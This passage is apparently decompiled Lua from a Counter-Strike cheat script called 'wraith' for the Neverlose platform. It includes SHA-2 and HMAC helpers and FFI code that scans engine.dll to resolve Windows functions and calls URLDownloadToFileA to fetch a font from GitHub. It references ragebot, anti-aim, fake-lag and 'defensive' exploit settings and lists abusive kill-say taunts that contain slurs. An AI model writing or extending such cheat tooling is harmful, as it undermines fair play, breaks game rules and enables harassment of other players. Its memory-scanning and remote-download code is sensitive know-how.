   sha512_feed_128(H_lo, H_hi, sha2_K_lo, sha2_K_hi, "SHA-512/"..tonumber(width).."\128"..string_rep("\0", 115).."\88", common_W, 0, 128)
   sha2_H_ext512_lo[width] = H_lo
   sha2_H_ext512_hi[width] = H_hi
end


--------------------------------------------------------------------------------
-- FINAL FUNCTIONS
--------------------------------------------------------------------------------

local function sha256ext(width, text)

   -- Create an instance (private objects for current calculation)
   local H, length, tail = {unpack(sha2_H_ext256[width])}, 0, ""

   local function partial(text_part)
      if text_part then
         if tail then
            length = length + #text_part
            local offs = 0
            if tail ~= "" and #tail + #text_part >= 64 then
               offs = 64 - #tail
               sha256_feed_64(H, sha2_K_hi, tail..sub(text_part, 1, offs), common_W, 0, 64)
               tail = ""
            end
            local size = #text_part - offs
            local size_tail = size % 64
            sha256_feed_64(H, sha2_K_hi, text_part, common_W, offs, size - size_tail)
            tail = tail..sub(text_part, #text_part + 1 - size_tail)
            return partial
         else
            error("Adding more chunks is not allowed after asking for final result", 2)
         end
      else
         if tail then
            local final_blocks = {tail, "\128", string_rep("\0", (-9 - length) % 64 + 1)}
            tail = nil
            -- Assuming user data length is shorter than 2^53 bytes
            -- Anyway, it looks very unrealistic that one would spend enough time to process a 2^53 bytes of data by using this Lua script :-)
            -- 2^53 bytes = 2^56 bits, so "bit-counter" fits in 7 bytes
            length = length * (8 / 256^7)  -- convert "byte-counter" to "bit-counter" and move floating point to the left
            for j = 4, 10 do
               length = length % 1 * 256
               final_blocks[j] = char(floor(length))
            end
            final_blocks = table_concat(final_blocks)
            sha256_feed_64(H, sha2_K_hi, final_blocks, common_W, 0, #final_blocks)
            local max_reg = width / 32
            for j = 1, max_reg do
               H[j] = HEX(H[j])
            end
            H = table_concat(H, "", 1, max_reg)
         end
         return H
      end
   end

   if text then
      -- Actually perform calculations and return the SHA256 digest of a message
      return partial(text)()
   else
      -- Return function for partial chunk loading
      -- User should feed every chunks of input data as single argument to this function and receive SHA256 digest by invoking this function without an argument
      return partial
   end

end


local function sha512ext(width, text)

   -- Create an instance (private objects for current calculation)
   local length, tail, H_lo, H_hi = 0, "", {unpack(sha2_H_ext512_lo[width])}, {unpack(sha2_H_ext512_hi[width])}

   local function partial(text_part)
      if text_part then
         if tail then
            length = length + #text_part
            local offs = 0
            if tail ~= "" and #tail + #text_part >= 128 then
               offs = 128 - #tail
               sha512_feed_128(H_lo, H_hi, sha2_K_lo, sha2_K_hi, tail..sub(text_part, 1, offs), common_W, 0, 128)
               tail = ""
            end
            local size = #text_part - offs
            local size_tail = size % 128
            sha512_feed_128(H_lo, H_hi, sha2_K_lo, sha2_K_hi, text_part, common_W, offs, size - size_tail)
            tail = tail..sub(text_part, #text_part + 1 - size_tail)
            return partial
         else
            error("Adding more chunks is not allowed after asking for final result", 2)
         end
      else
         if tail then
            local final_blocks = {tail, "\128", string_rep("\0", (-17-length) % 128 + 9)}
            tail = nil
            -- Assuming user data length is shorter than 2^53 bytes
            -- 2^53 bytes = 2^56 bits, so "bit-counter" fits in 7 bytes
            length = length * (8 / 256^7)  -- convert "byte-counter" to "bit-counter" and move floating point to the left
            for j = 4, 10 do
               length = length % 1 * 256
               final_blocks[j] = char(floor(length))
            end
            final_blocks = table_concat(final_blocks)
            sha512_feed_128(H_lo, H_hi, sha2_K_lo, sha2_K_hi, final_blocks, common_W, 0, #final_blocks)
            local max_reg = ceil(width / 64)
            for j = 1, max_reg do
               H_lo[j] = HEX(H_hi[j])..HEX(H_lo[j])
            end
            H_hi = nil
            H_lo = table_concat(H_lo, "", 1, max_reg):sub(1, width / 4)
         end
         return H_lo
      end
   end

   if text then
      -- Actually perform calculations and return the SHA256 digest of a message
      return partial(text)()
   else
      -- Return function for partial chunk loading
      -- User should feed every chunks of input data as single argument to this function and receive SHA256 digest by invoking this function without an argument
      return partial
   end

end

local sha2for51 = {
   sha224     = function (text) return sha256ext(224, text) end,  -- SHA-224
   sha256     = function (text) return sha256ext(256, text) end,  -- SHA-256
   sha384     = function (text) return sha512ext(384, text) end,  -- SHA-384
   sha512     = function (text) return sha512ext(512, text) end,  -- SHA-512
   sha512_224 = function (text) return sha512ext(224, text) end,  -- SHA-512/224
   sha512_256 = function (text) return sha512ext(256, text) end,  -- SHA-512/256
}

-- print(sha2for51.sha512('a'))

return sha2for51
end)();
    local function hmac(hash_fn, key, message)
        local block_size = 64;
        if #key > block_size then
            key = hash_fn(key);
        end;
        if #key < block_size then
            key = key .. string.rep(string.char(0), block_size - #key);
        end;
        local o_key_pad = {};
        local i_key_pad = {};
        for i = 1, block_size do
            local kb = string.byte(key, i);
            o_key_pad[i] = string.char(bit.bxor(kb, 0x5C));
            i_key_pad[i] = string.char(bit.bxor(kb, 0x36));
        end;
        local inner = hash_fn(table.concat(i_key_pad) .. message);
        return hash_fn(table.concat(o_key_pad) .. inner);
    end;
    return {
        sha256 = sha.sha256,
        hmac = hmac
    };
end)();local l_ffi_0 = require("ffi");
local v15 = nil;
local l_cast_0 = l_ffi_0.cast;
local l_typeof_0 = l_ffi_0.typeof;
local _ = l_ffi_0.string;
local v19 = utils.opcode_scan("engine.dll", "FF 15 ? ? ? ? 85 C0 74 0B");
local v20 = utils.opcode_scan("engine.dll", "FF 15 ? ? ? ? A3 ? ? ? ? EB 05");
local v21 = utils.opcode_scan("engine.dll", "FF E1");
local v22 = nil;
local v23 = nil;
local v24 = nil;
local v25 = nil;
v22 = l_ffi_0.cast("uint32_t**", l_ffi_0.cast("uint32_t", v19) + 2)[0][0];
v23 = l_ffi_0.cast("uint32_t(__fastcall*)(unsigned int, unsigned int, const char*)", v22);
v24 = l_ffi_0.cast("uint32_t**", l_ffi_0.cast("uint32_t", v20) + 2)[0][0];
v25 = l_ffi_0.cast("uint32_t(__fastcall*)(unsigned int, unsigned int, uint32_t, const char*)", v24);
local function _(v26)
    local v27 = "\n{";
    for v28, v29 in pairs(v26) do
        if type(v28) == "string" then
            v27 = v27 .. "[\"" .. v28 .. "\"]" .. "=";
        end;
        if type(v29) == "table" then
            v27 = v27 .. table_to_string(v29);
        elseif type(v29) == "boolean" then
            v27 = v27 .. tostring(v29);
        else
            v27 = v27 .. "\"" .. v29 .. "\"";
        end;
        v27 = v27 .. ",\n";
    end;
    if v27 ~= "" then
        v27 = v27.sub(v27, 1, v27.len(v27) - 1);
    end;
    return v27 .. "}\n";
end;
local function v38(v31, v32, v33)
    -- upvalues: l_typeof_0 (ref), v23 (ref), v22 (ref), v25 (ref), v24 (ref), l_cast_0 (ref), v21 (ref)
    local v34 = l_typeof_0(v33);
    local v35 = v23(v22, 0, v31);
    local v36 = v25(v24, 0, v35, v32);
    local v37 = l_cast_0(v34, v21);
    return function(...)
        -- upvalues: v37 (ref), v36 (ref)
        return v37(v36, 0, ...);
    end;
end;
l_ffi_0.cdef("    typedef int BOOL;\n    typedef struct {\n        long x;\n        long y;\n    } POINT, *LPPOINT;\n    BOOL GetCursorPos(LPPOINT lpPoint);\n    BOOL SetCursorPos(int X, int Y);\n    BOOL ShowCursor(BOOL bShow);\n");
local v39 = v38("user32.dll", "SetCursorPos", "int32_t(__fastcall*)(uint32_t, uint32_t, int, int)");
local v40 = v38("user32.dll", "GetCursorPos", "int32_t(__fastcall*)(uint32_t, uint32_t, LPPOINT)");
local v41 = l_ffi_0.load("UrlMon");
local v42 = l_ffi_0.load("WinInet");
l_ffi_0.cdef("    void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);\n    bool DeleteUrlCacheEntryA(const char* lpszUrlName);\n");
local function v45(v43, v44)
    -- upvalues: v42 (ref), v41 (ref)
    v42.DeleteUrlCacheEntryA(v44);
    v41.URLDownloadToFileA(nil, v44, v43, 0, 0);
end;
local function v45_safe_font_0(v43, v44, v45, v46, v47)
    local v48, v49 = pcall(render.load_font, v43, v44, v45);
    if v48 and v49 ~= nil then
        return v49;
    end;
    if v46 ~= nil then
        local v50, v51 = pcall(render.load_font, v46, v44, v45);
        if v50 and v51 ~= nil then
            return v51;
        end;
    end;
    return v47 or 1;
end;
local function v45_safe_texture_0(...)
    local v43 = select(1, ...);
    if v43 == nil then
        return nil;
    end;
    local v44, v45 = pcall(render.texture, ...);
    if v44 then
        return v45;
    else
        return nil;
    end;
end;
local v46 = common.get_username();
if files.read("nl\\wraith\\") == nil then
    files.create_folder("nl\\wraith");
end;
local v47 = nil;
local v49 = nil;
local v50 = nil;
local v51 = nil;
local v52 = nil;
local v53 = v45_safe_font_0("Verdana Bold", 23, "ad", "Verdana", 1);
local v54 = v45_safe_font_0("Verdana Bold", 17, "ad", "Verdana", 1);
local v55 = v45_safe_font_0("Verdana Bold", 11, "ad", "Verdana", 1);
local v56 = v45_safe_font_0("C:\\Windows\\Fonts\\lucon.ttf", 10, "d", "Verdana", 1);
local v57 = v45_safe_font_0("Arial", 11, "ad", "Verdana", 1);
local v58 = v45_safe_font_0("Arial", 11, "ad", "Verdana", 1);
local v59 = v45_safe_font_0("Arial", 11, "ad", "Verdana", 1);
local v60 = v45_safe_font_0("Arial", 11, "ad", "Verdana", 1);
local v61 = nil;
if files.read("nl\\wraith\\pricedown.ttf") == nil then
    network.get("https://github.com/RazBot21/yes/raw/refs/heads/main/pricedown.ttf", {}, function(v62)
        -- upvalues: v45 (ref), v57 (ref), v58 (ref), v59 (ref), v60 (ref)
        if #v62 == 151512 then
            v45("nl\\wraith\\pricedown.ttf", "https://github.com/RazBot21/yes/raw/refs/heads/main/pricedown.ttf");
            print("\194\171 pricedown \194\187 acquired.");
            v57 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 82, "aoc", "Arial", 1);
            v58 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 32, "aoc", "Arial", 1);
            v59 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 28, "aoc", "Arial", 1);
            v60 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 18, "aoc", "Arial", 1);
        else
            print("could not acquire font \194\171 pricedown \194\187.");
        end;
    end);
else
    v57 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 82, "aoc", "Arial", 1);
    v58 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 32, "aoc", "Arial", 1);
    v59 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 28, "aoc", "Arial", 1);
    v60 = v45_safe_font_0("nl\\wraith\\pricedown.ttf", 18, "aoc", "Arial", 1);
end;
local v63 = {
    local_chams_ref = ui.find("Visuals", "Players", "Self", "Chams", "Model"), 
    local_chams_color_ref = ui.find("Visuals", "Players", "Self", "Chams", "Model", "Color"), 
    local_chams_transparency_ref = ui.find("Visuals", "Players", "Self", "Chams", "Model", "Transparency"), 
    peek_assist_ref = ui.find("Aimbot", "Ragebot", "Main", "Peek Assist"), 
    double_tap_ref = ui.find("Aimbot", "Ragebot", "Main", "Double Tap"), 
    hideshots_ref = ui.find("Aimbot", "Ragebot", "Main", "Hide Shots"), 
    hideshots2_ref = ui.find("Aimbot", "Ragebot", "Main", "Hide Shots", "Options"), 
    fakelag_ref = ui.find("Aimbot", "Anti Aim", "Fake Lag", "Enabled"), 
    safe_point_ref = ui.find("Aimbot", "Ragebot", "Safety", "Safe Points"), 
    body_aim_ref = ui.find("Aimbot", "Ragebot", "Safety", "Body Aim"), 
    freestanding_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Freestanding"), 
    slow_walk_ref = ui.find("Aimbot", "Anti Aim", "Misc", "Slow Walk"), 
    fake_duck_ref = ui.find("Aimbot", "Anti Aim", "Misc", "Fake Duck"), 
    air_strafe_ref = ui.find("Miscellaneous", "Main", "Movement", "Air Strafe"), 
    pitch_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Pitch"), 
    yaw_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw"), 
    yaw_base_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Base"), 
    yaw_offset_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Offset"), 
    yaw_modifier_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw Modifier"), 
    yaw_modifier_offset_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw Modifier", "Offset"), 
    freestand_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Freestanding"), 
    freestand_disable_mods_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Freestanding", "Disable Yaw Modifiers"), 
    freestand_body_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Freestanding", "Body Freestanding"), 
    body_yaw_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw"), 
    left_limit = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Left Limit"), 
    right_limit = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Right Limit"), 
    fake_latency_ref = ui.find("Miscellaneous", "Main", "Other", "Fake Latency"), 
    fakelag_limit_ref = ui.find("Aimbot", "Anti Aim", "Fake Lag", "Limit"), 
    dt_lag_options_ref = ui.find("Aimbot", "Ragebot", "Main", "Double Tap", "Lag Options"), 
    yaw_hidden_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Yaw", "Hidden"), 
    min_damage_ref = ui.find("Aimbot", "Ragebot", "Selection", "Min. Damage"), 
    scope_overlay_ref = ui.find("Visuals", "World", "Main", "Override Zoom", "Scope Overlay"), 
    impact_time_ref = ui.find("Visuals", "World", "Other", "Bullet Impacts", "Duration"), 
    aa_enabled_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Enabled"), 
    body_inverter_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Inverter"), 
    body_options_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Options"), 
    body_freestand_ref = ui.find("Aimbot", "Anti Aim", "Angles", "Body Yaw", "Freestanding"), 
    windows_ref = ui.find("Miscellaneous", "Main", "Other", "Windows")
};
local v64 = {
    toolbox = ui.get_icon("toolbox"), 
    screwdriver_wrench = ui.get_icon("screwdriver-wrench"), 
    chess_bishop_piece = ui.get_icon("chess-bishop-piece"), 
    water_ladder = ui.get_icon("water-ladder"), 
    escalator = ui.get_icon("escalator"), 
    main = ui.get_icon("users"), 
    visuals = ui.get_icon("palette"), 
    misc = ui.get_icon("gear"), 
    bars = ui.get_icon("bars"), 
    gears = ui.get_icon("gears"), 
    user_gear = ui.get_icon("user-gear"), 
    yt = ui.get_icon("youtube"), 
    discord = ui.get_icon("discord"), 
    shield = ui.get_icon("shield"), 
    shield_xmark = ui.get_icon("shield-xmark"), 
    shield_halved = ui.get_icon("shield-halved"), 
    angle_90 = ui.get_icon("angle-90"), 
    helmet = ui.get_icon("helmet-safety"), 
    eye = ui.get_icon("eye"), 
    circle = ui.get_icon("circle-xmark"), 
    indicator = ui.get_icon("wand-magic-sparkles"), 
    note = ui.get_icon("note-sticky"), 
    person_rifle = ui.get_icon("person-rifle"), 
    rectangle_history_circle_user = ui.get_icon("rectangle-history-circle-user"), 
    download = ui.get_icon("download"), 
    export = ui.get_icon("file-export"), 
    home = ui.get_icon("house"), 
    config = ui.get_icon("file"), 
    speed = ui.get_icon("gauge-min"), 
    crosshair = ui.get_icon("crosshairs"), 
    crosshairs_simple = ui.get_icon("crosshairs-simple"), 
    min = ui.get_icon("hundred-points"), 
    watermelon_slice = ui.get_icon("watermelon-slice"), 
    trophy = ui.get_icon("trophy"), 
    magnifying_glass = ui.get_icon("magnifying-glass"), 
    tag = ui.get_icon("tag"), 
    comment = ui.get_icon("comment"), 
    face_saluting = ui.get_icon("face-saluting"), 
    peek = ui.get_icon("face-hand-peeking"), 
    hide = ui.get_icon("eye-slash"), 
    anim = ui.get_icon("street-view"), 
    skull = ui.get_icon("skull"), 
    fps_boost = ui.get_icon("rocket"), 
    portal = ui.get_icon("person-to-portal"), 
    backstab = ui.get_icon("knife-kitchen"), 
    book_skull = ui.get_icon("book-skull"), 
    xmark = ui.get_icon("xmark-large"), 
    face_eyes_xmarks = ui.get_icon("face-eyes-xmarks"), 
    user_xmark = ui.get_icon("user-xmark"), 
    cloud = ui.get_icon("cloud"), 
    earth_americas = ui.get_icon("earth-americas"), 
    user_shield = ui.get_icon("user-shield"), 
    signal = ui.get_icon("signal"), 
    gun_slash = ui.get_icon("gun-slash"), 
    square = ui.get_icon("square"), 
    music_note = ui.get_icon("music-note"), 
    trademark = ui.get_icon("trademark"), 
    freestander = ui.get_icon("person"), 
    austral_sign = ui.get_icon("austral-sign"), 
    repeaticon = ui.get_icon("repeat"), 
    right = ui.get_icon("arrow-right"), 
    left = ui.get_icon("arrow-left"), 
    up = ui.get_icon("arrow-up"), 
    down = ui.get_icon("arrow-down"), 
    reset = ui.get_icon("power-off"), 
    paintbrush_pencil = ui.get_icon("paintbrush-pencil"), 
    paintbrush = ui.get_icon("paintbrush"), 
    border_top = ui.get_icon("border-top"), 
    signature = ui.get_icon("signature"), 
    border_bottom = ui.get_icon("border-bottom"), 
    ellipsis_stroke = ui.get_icon("ellipsis-stroke"), 
    link = ui.get_icon("link"), 
    key = ui.get_icon("key"), 
    shield_quartered = ui.get_icon("shield-quartered"), 
    user_group_crown = ui.get_icon("user-group-crown")
};
local v65 = {
    bronze = "\aCD7F32FF", 
    magenta = "\aFF00AAFF", 
    fire_log = "\aD2D2FFFF", 
    light_magenta = "\aFF00FFFF", 
    dark_cyan = "\a008B8BFF", 
    cyan = "\a00CED1FF", 
    light_cyan = "\a00FFFFFF", 
    dark_pink = "\aC71585FF", 
    pink = "\aFFC0CBFF", 
    dark_orange = "\aFF4500FF", 
    orange = "\aFF8C00FF", 
    light_orange = "\aFFA500FF", 
    dark_purple = "\a4B0082FF", 
    purple = "\a800080FF", 
    light_purple = "\aEE82EEFF", 
    lavender = "\aD9D9F7FF", 
    dark_blue = "\a000080FF", 
    blue = "\a0000A0FF", 
    dark_green = "\a006400FF", 
    green = "\a008000FF", 
    light_green = "\a00FF00FF", 
    yellow = "\aFFFFA500FF", 
    light_yellow = "\aFFFF00FF", 
    light_red = "\aFF8B9DFF", 
    red = "\aFF0000FF", 
    light_pink = "\aF6B4FFFF", 
    light_blue = "\a6E96F0FF", 
    redacted_green = "B6E717FF", 
    lime_green = "\aD4FF9EFF", 
    silver = "\a808080FF", 
    white = "\affffffff", 
    gold = "\aFFD700FF", 
    nl2 = "\a2D508CFF", 
    dark_gray = "\aA9A9A9FF", 
    nl = "\aA0B7C4FF", 
    gray = "\a808080FF", 
    menu_accent = "\a6E96F0FF", 
    light_gray = "\aD3D3D3FF", 
    dark_magenta = "\a8B008BFF"
};
local v66 = {
    misc = l_pui_0.create(v64.home, {
        [1] = {
            [1] = "tabs", 
            [2] = "\nmisc", 
            [3] = 1
        }, 
        [2] = {
            [1] = "socials", 
            [2] = "\nsocials", 
            [3] = 2
        }, 
        [3] = {
            [1] = "movement", 
            [2] = "\nmovement", 
            [3] = 2
        }, 
        [4] = {
            [1] = "general", 
            [2] = "\ngeneral", 
            [3] = 2
        }, 
        [5] = {
            [1] = "lag_comp", 
            [2] = "lag compensation", 
            [3] = 1
        }, 
        [6] = {
            [1] = "main", 
            [2] = "\nmain", 
            [3] = 2
        }, 
        [7] = {
            [1] = "logo", 
            [2] = "\nlogo", 
            [3] = 1
        }, 
        [8] = {
            [1] = "tournament1", 
            [2] = "\ntournament", 
            [3] = 1
        }, 
        [9] = {
            [1] = "tournament2", 
            [2] = "most respected players", 
            [3] = 2
        }, 
        [10] = {
            [1] = "tournament3", 
            [2] = "individual search", 
            [3] = 2
        }, 
        [11] = {
            [1] = "config", 
            [2] = "\nconfig"
        }
    }), 
    anti_aim = l_pui_0.create(v64.main, {
        [1] = {
            [1] = "tabs", 
            [2] = ""
        }, 
        [2] = {
            [1] = "anti_aim_stances", 
            [2] = "Anti-Aim Stances", 
            [3] = 1
        }, 
        [3] = {
            [1] = "builder", 
            [2] = "\nAnti-aim builder", 
            [3] = 2
        }, 
        [4] = {
            [1] = "extras", 
            [2] = "\nExtras", 
            [3] = 2
        }, 
        [5] = {
            [1] = "defensive", 
            [2] = "\ndefensive", 
            [3] = 2
        }, 
        [6] = {
            [1] = "defensiveltick", 
            [2] = "safe (Last tick)\ndefensiveltick", 
            [3] = 2
        }, 
        [7] = {
            [1] = "defensiveunsafe", 
            [2] = "unsafe\ndefensiveunsafe", 
            [3] = 2
        }
    }), 
    visuals = l_pui_0.create(v64.visuals, {
        [1] = {
            [1] = "tabs", 
            [2] = "\nvisuals"
        }, 
        [2] = {
            [1] = "builder", 
            [2] = "\nIndicator builder"
        }, 
        [3] = {
            [1] = "indicators", 
            [2] = "\nindicators"
        }, 
        [4] = {
            [1] = "other", 
            [2] = "\nOther "
        }
    })
};
local v67 = {
    stances = {
        [1] = "Global", 
        [2] = "Standing", 
        [3] = "Moving", 
        [4] = "Slow motion", 
        [5] = "In air", 
        [6] = "In air duck", 
        [7] = "In duck", 
        [8] = "In duck moving", 
        [9] = "In fake duck", 
        [10] = "Fakelag", 
        [11] = "Manual", 
        [12] = "Freestanding", 
        [13] = "Backstab", 
        [14] = "Height", 
        [15] = "High distance", 
        [16] = "Legit", 
        [17] = "Warmup", 
        [18] = "Round-end"
    }
};
local v77 = (function(v68, v69)
    if not v68 or not v69 then
        error("Both s1 and s2 must be non-nil strings.");
    end;
    local v70 = {};
    local v71 = #v68;
    local v72 = #v69;
    if v72 == 0 then
        error("Key string (s2) must not be empty.");
    end;
    for v73 = 1, v71 do
        local v74 = v68:byte(v73);
        local v75 = v69:byte((v73 - 1) % v72 + 1);
        local v76 = bit.bxor(v74, v75);
        v70[v73] = string.char(v76);
    end;
    return table.concat(v70);
end)("conadatuatia24pirocaanal", "inaciotratorpijama");
local v78 = {
    defensive = false, 
    ananas_cooldown_time = 0, 
    cloudflare_cooldown_time = 0, 
    reset_clan_tag = false, 
    clan_tag_set = false, 
    respect_lost_spree = false, 
    defensive_ticks_left = 0, 
    max_tickbase = 0, 
    exploit_name = "", 
    quick_pick_ssg_time = 0, 
    quick_knife_time = 0, 
    rage_fire = false, 
    body_yaw_raw = 0, 
    body_yaw = 0, 
    abs_yaw = 0, 
    real_yaw = 0, 
    hitmarker_killed = 0, 
    hitmarker_alpha = 0, 
    outside = false, 
    say_message_text = "", 
    message_time = 0, 
    wait_for_update = false, 
    warned_server_online = false, 
    warned_server_offline = false, 
    server_check_toggle = false, 
    old_state_synced = "unknown", 
    unsent_state_synced = "init", 
    current_state_synced = "init", 
    fakelag_modified = false, 
    last_override_state = false, 
    override_applied = false, 
    round_end_aa = false, 
    disable_defensive = false, 
    local_previous_choke = 0, 
    lc_broken_for = 0, 
    air_lag_active = false, 
    wait_for_sms = 0, 
    round_start = false, 
    cloudflare_delay = 10, 
    binds = {}, 
    local_choke_history = {
        [1] = "0"
    }, 
    net_player_data = {
        current = {}, 
        previous = {}, 
        yaw_history = {
            yaw = {}, 
            target_yaw = {}, 
            tick = {}
        }
    }, 
    allowed_tourney_servers = {}, 
    dormant_fire_data = {}, 
    bullet_impacts = {}, 
    smooth_table2 = {
        nade_ind = 0
    }, 
    pulse_state = {
        direction = 1
    }, 
    stored_yaw_fire_info = {}, 
    stored_angles_defensive = {}, 
    is_wraith_user_list = {}, 
    verified_wraith_users = {}, 
    message_queue = {}, 
    screen_size = {
        y = 0, 
        x = 0
    }, 
    screen_center = {
        y = 0, 
        x = 0
    }, 
    old_screen_size = {
        y = 0, 
        x = 0
    }, 
    smooth_table = {}, 
    hurt_table = {}, 
    respect_system = {
        respect_highest_spree = 0, 
        respect_spree_multiplier = 1, 
        respect_spree_count = 0, 
        respect_spree = false, 
        respect_needed = 50, 
        level_respect = 0, 
        total_respect = 0, 
        level = 1, 
        placement = 0
    }, 
    leaderboard_data = {}, 
    searched_player_data = {}, 
    hitgroup_str = {
        [0] = "body", 
        [1] = "head", 
        [2] = "chest", 
        [3] = "stomach", 
        [4] = "left arm", 
        [5] = "right arm", 
        [6] = "left leg", 
        [7] = "right leg", 
        [8] = "neck", 
        [9] = "?", 
        [10] = "gear"
    }, 
    hitbox_str = {
        [0] = "head", 
        [1] = "neck", 
        [2] = "pelvis", 
        [3] = "stomach", 
        [4] = "lower chest", 
        [5] = "chest", 
        [6] = "upper chest", 
        [7] = "right thigh", 
        [8] = "left thigh", 
        [9] = "right calf", 
        [10] = "left calf", 
        [11] = "right foot", 
        [12] = "left foot", 
        [13] = "right hand", 
        [14] = "left hand", 
        [15] = "right arm", 
        [16] = "left arm", 
        [17] = "gear"
    }, 
    g_notify = {}, 
    bomb_data = {
        plant_start = 0, 
        plant_time = 3.2, 
        bomb_was_defused = false, 
        bomb_was_bombed = false, 
        has_kit = false, 
        defuse_start = 0, 
        defuse_time = 0, 
        is_defusing = false, 
        site = 0, 
        planting = false
    }, 
    greetings = {
        [1] = "oi", 
        [2] = "ayo", 
        [3] = "macaco", 
        [4] = "mf", 
        [5] = "tono", 
        [6] = "chupa", 
        [7] = "shit on", 
        [8] = "mama", 
        [9] = "sleep", 
        [10] = "", 
        [11] = ""
    }, 
    kill_say_ascii = {
        Original = {
            [1] = "\216\172\216\175\216\167 \216\167\217\132\216\173\217\133\216\175 \217\132\217\132\217\135 \216\167\217\148\216\168\217\138", 
            [2] = "\226\130\169\226\177\164\226\130\179\197\130\226\130\174\226\177\167 \226\130\180\201\134\226\130\166\196\144 \226\130\178\226\177\164\201\134\201\134\226\130\174\197\130\226\130\166\226\130\178\226\130\180 \226\130\177\226\130\179\226\177\164\226\130\179 \226\130\179 \226\130\181\195\152\226\130\166\226\130\179 \196\144\226\130\179 \226\130\174\201\132\226\130\179 \226\130\165\226\130\179\204\131\201\134", 
            [3] = "\224\174\131\225\133\148>.< \209\135\208\187\208\181\208\189 \208\178 \208\183\208\176\208\180\208\189\208\184\209\134\208\181 \209\131 \209\128\209\131\209\129\209\129\208\186\208\184\209\133 \239\188\183\239\188\178\239\188\161\239\188\169\239\188\180\239\188\168 \239\188\178\239\188\165\239\188\163\239\188\175\239\188\164\239\188\165\225\133\149\224\174\131", 
            [4] = "\200\182\202\143 \202\132\214\133\202\128 \202\1412 \198\136\214\133\202\141\214\132\201\168\211\188\201\168\214\133\213\188 \213\161\201\168\200\182\201\166 \200\182\201\166\201\155 \214\132\214\133\214\132\214\134 \199\159\213\188\201\150 \200\182\201\166\201\155 \201\174\199\159\213\188\201\162\214\134 \202\132\200\182 \240\157\148\128\240\157\147\187\240\157\147\184\240\157\147\189\240\157\147\177 \240\157\147\181\240\157\147\184\240\157\147\170", 
            [5] = "\231\153\190\232\144\172\229\175\140\231\191\129\232\178\183\233\172\188 \227\131\132", 
            [6] = "skeet invite code in morse: ... .-- ..-. -.-- -... .-- ..-. -... .--- --.. -... .-.. -.- .... ..-. .-.. -.- --. .. .-. .--. --. .-.. --.- --.- - -.-- .---- -..- . .-- -.- -.-- --.- ---.. .-.. .... ... ...- --.. -..- -.. .--. -..- -- -... - -.--", 
            [7] = "\240\157\159\157\240\157\159\153.\240\157\159\153\240\157\159\159\240\157\159\160.\240\157\159\153\240\157\159\160\240\157\159\157.\240\157\159\154\240\157\159\155\240\157\159\155/\240\157\149\161\240\157\149\157\240\157\149\146\240\157\149\170\240\157\149\150\240\157\149\163\240\157\149\164.\240\157\149\155\240\157\149\164\240\157\149\160\240\157\149\159 \240\157\147\172\240\157\147\189\240\157\147\187\240\157\147\181+f \"\240\157\150\142\240\157\150\152\240\157\150\152\240\157\150\148 \240\157\150\139\240\157\150\148\240\157\150\142 \240\157\150\137\240\157\150\148\240\157\150\149\240\157\150\138, \240\157\150\140\240\157\150\134\240\157\150\147\240\157\150\137\240\157\150\134 \240\157\150\153\240\157\150\148\240\157\150\150\240\157\150\154\240\157\150\138\"", 
            [8] = "\240\159\149\175\239\184\143\226\167\154\240\159\142\131\226\167\154\240\159\148\174 \198\153\196\133YR\224\189\158\198\161\197\139 \225\191\179\196\177\198\150\198\150 \198\136\198\161\198\161\226\132\152 \202\130\226\132\152\196\177\201\155\198\150\201\155\197\139 \240\159\148\174\226\167\154\240\159\142\131\226\167\154\240\159\149\175\239\184\143", 
            [9] = " \226\147\148\226\147\156\226\147\145\226\147\161\226\147\144\226\147\146\226\147\148 \226\147\161\226\147\144\226\147\146\226\147\152\226\147\162\226\147\156 ", 
            [10] = "yesterday i got smoked by (\227\129\163\226\151\148\226\151\161\226\151\148)\227\129\163 \206\185\208\178\206\185z\206\177 6\226\132\147 1.9 \209\130\226\136\130\206\185 160 \194\162\207\133\207\129\209\143\206\177 2004 160 \208\189\207\129 / 118 \208\186\207\137 1896 \194\162\208\1883 (115.7 \194\162\207\133-\206\185\208\184)", 
            [11] = "\227\128\144\227\128\128\239\188\183\239\188\178\239\188\161\239\188\169\239\188\180\239\188\168\227\128\128\239\188\161\239\188\174\239\188\180\239\188\169\239\188\141\239\188\161\239\188\169\239\188\173\239\188\162\239\188\175\239\188\180\227\128\128\239\188\178\239\188\165\239\188\163\239\188\175\239\188\164\239\188\165\227\128\128\227\128\145", 
            [12] = "\202\128\225\180\128\225\180\162 \225\180\128\225\180\133\225\180\133\225\180\135\225\180\133 \225\180\155\202\156\201\170s \225\180\155\225\180\143 \225\180\161\202\128\225\180\128\201\170\225\180\155\202\156 \202\128\225\180\135\225\180\132\225\180\143\225\180\133\225\180\135 \225\180\128\201\180\225\180\133 \201\170\225\180\155 \225\180\141\225\180\128\225\180\133\225\180\135 \201\170\225\180\155 s\225\180\143 \225\180\141\225\180\156\225\180\132\202\156 \202\153\225\180\135\225\180\155\225\180\155\225\180\135\202\128"
        }, 
        New = {
            [1] = "my spree is currently endless", 
            [2] = "every shot i take, your mom sideways", 
            [3] = "you're #1 at the dying streak leaderboard", 
